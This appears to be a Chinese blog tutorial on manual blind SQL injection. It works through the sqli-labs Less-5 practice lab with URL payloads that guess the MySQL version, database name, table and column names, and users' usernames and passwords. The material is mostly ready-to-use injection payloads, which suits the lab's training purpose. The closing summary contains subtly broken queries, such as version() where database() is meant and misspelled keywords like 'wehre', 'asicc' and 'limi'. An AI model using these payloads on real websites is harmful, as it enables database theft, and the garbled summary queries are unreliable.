SQL注入实战— 手工盲注讲解

     写在文章之前,因为上一章,我把SQL-labse通过的练习答案,发了出来,但我觉得还是还要单独抽一个常见的注入类型分享出来,比如有时不管我们输入字符串类型或整数类型,页面都没有报错,这是我们就可以考虑一下盲注,来猜解。

     好了,废话不多说,咋们看实例.... 嘻嘻


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

SQL 手工盲注

    1.0 Sqli-labs 关卡实战开始

    总结手工盲注常见操作步骤


SQL 手工盲注

    1.0 Sqli-labs 关卡实战开始

可能各位已经通关了,但是 less-5 是不是觉得有点下不去手呢?因为无论怎么样他都不会讲错误显示在前端上。我们只能看到的是 you are in...,查看源代码我们发现原来定义了不返回数据库当中的数据

SQL注入实战— 手工盲注讲解_第1张图片

虽然网上各路大神关于此题的方法层出不穷,但是我个人觉得,盲注才是关键。所以我们用盲注的方法来做这道题目。 什么是 SQL 盲注?盲注不同于 less-1 那样的方式将数据库的数据直接显示,在盲注中,渗透测试人员要根据返回页面的不同来判定信息,而盲注又分为:

 

Booleanbase(普通盲注)

Timebase(时间盲注)

Errorbase(基于报错的盲注)。

至于具体分别,我们在后面的试验中会学习到。 首先我们要知道在盲注中经常用到的一些方式:

 

left(database(),1) 返回 database()的最左面 1 个字符

length(databse()) 返回数据库的长度

substr(a,b,c) 从 b 位置开始,截取字符串 a 的 c 长度

ascii() 将某个字符转换为 ascii 值

mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位

     1.1我们首先尝试使用 ?id=1' and left(version(),1)=5 %23 猜解 mysql 的版本,语句的意思是如果数据库版本的最左面的第一个字符是 5,则会回显正常,如果不是则回显不正常

SQL注入实战— 手工盲注讲解_第2张图片

     1.2 然后我们开始尝试使用 ?id=1 and length(database())=* %23来猜解数据库的长度。由此得知数据库长度为 8 

SQL注入实战— 手工盲注讲解_第3张图片

     1.3 得知了数据库长度之后开始猜解数据库名,使用 ?id=1 and left(database(),1)>'a' %23 来猜解数据库的首字母。然后逐次递增,直到猜解出所有的 8 个字母。在这里可以使用二分法进行猜解,这样的话可以提高猜解速度。

SQL注入实战— 手工盲注讲解_第4张图片

     1.4 我们已经通过猜解知道了数据库名为:security,现在我们尝试通过构造语句来猜解表名。 ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100 %23

SQL注入实战— 手工盲注讲解_第5张图片

     1.5 而通过修改 substr(1,1)为 substr(2,1)便可以查看第二个字符 修改 limit(0,1)为 limit(1,1)则可以查看第二个表 这样的话,我们就可以依次猜解到所有的表名。随后我们要开始在 users 表中获取内容,构造语句如下 ?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1) %23 用来验证 users 表是否存在

SQL注入实战— 手工盲注讲解_第6张图片

     1.6 ?id=1%27 and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68 %23 用来猜解 users 表中的内容,将 username 中的第一行的第一个字符的 ascii,与 68 进行比较。最后逐次猜解到所有的用户名和密码。

SQL注入实战— 手工盲注讲解_第7张图片

 

总结手工盲注常见操作步骤:

PS:如下*号地方都是自己填写的数字或名称,我只是已*号代替

· 1. 判断数据库版本号左边开头数字

       ?id=1’ and left(version(),1)=5 --+

· 2. 判断数据库名称长度

      ?id=1’ and length(version())=* --+

· 3. 猜解数据库名称

      ?id=1’ and left(version(),1)> ’*’ --+

· 4. 猜解表名

      ?id=1’ and ascii(substr((select table_name from information_schema.tables wehre table_schema=database()  limit 0,1),1,1)) >100 --+

· 5. 猜解列名

 id=1’ and asicc(substr((select table_column from information_schema.columns where table_schema=’数据库名’ and table_name=’表名’ limit 0,1),1,1)) > 99 --+

· 6. 判断表是否不存在

      ?id=1’ and 1=(select 1 from information_schema.columns where table_name=’表名’ and column_name regexp  ’^username’  limit 0,1) > 97 --+

· 7. 表存在,获取表的内容

      ?id=1’ and ord(mid((select ifnull(cast(username as char),0x20)from 数据库名.表名 order by id limi 0,1),1,1)) =68 --+

 


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


 

你可能感兴趣的:(渗透测试,SQL注入,前渗透篇)